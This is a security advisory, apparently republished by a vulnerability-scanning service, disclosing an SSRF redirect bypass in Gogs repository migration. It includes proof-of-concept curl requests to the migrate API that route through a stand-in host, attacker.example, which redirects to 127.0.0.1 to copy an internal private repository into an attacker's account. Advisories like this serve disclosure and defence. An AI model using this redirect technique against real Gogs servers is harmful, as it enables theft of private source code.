Go · gogs.io/gogs
Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft
A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.
The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:
http://attacker.example/redirect.git — passes validation (public hostname).302 redirect to http://127.0.0.1:18081/victim/private.git.The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.
This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:
Prerequisites: a Gogs instance, an attacker account that can create repositories.
127.0.0.1:18081.302 redirect to http://127.0.0.1:18081/victim/private.git.curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: rejected as blocked local address.
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: migration succeeds. The new repository contains the internal repository's contents.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.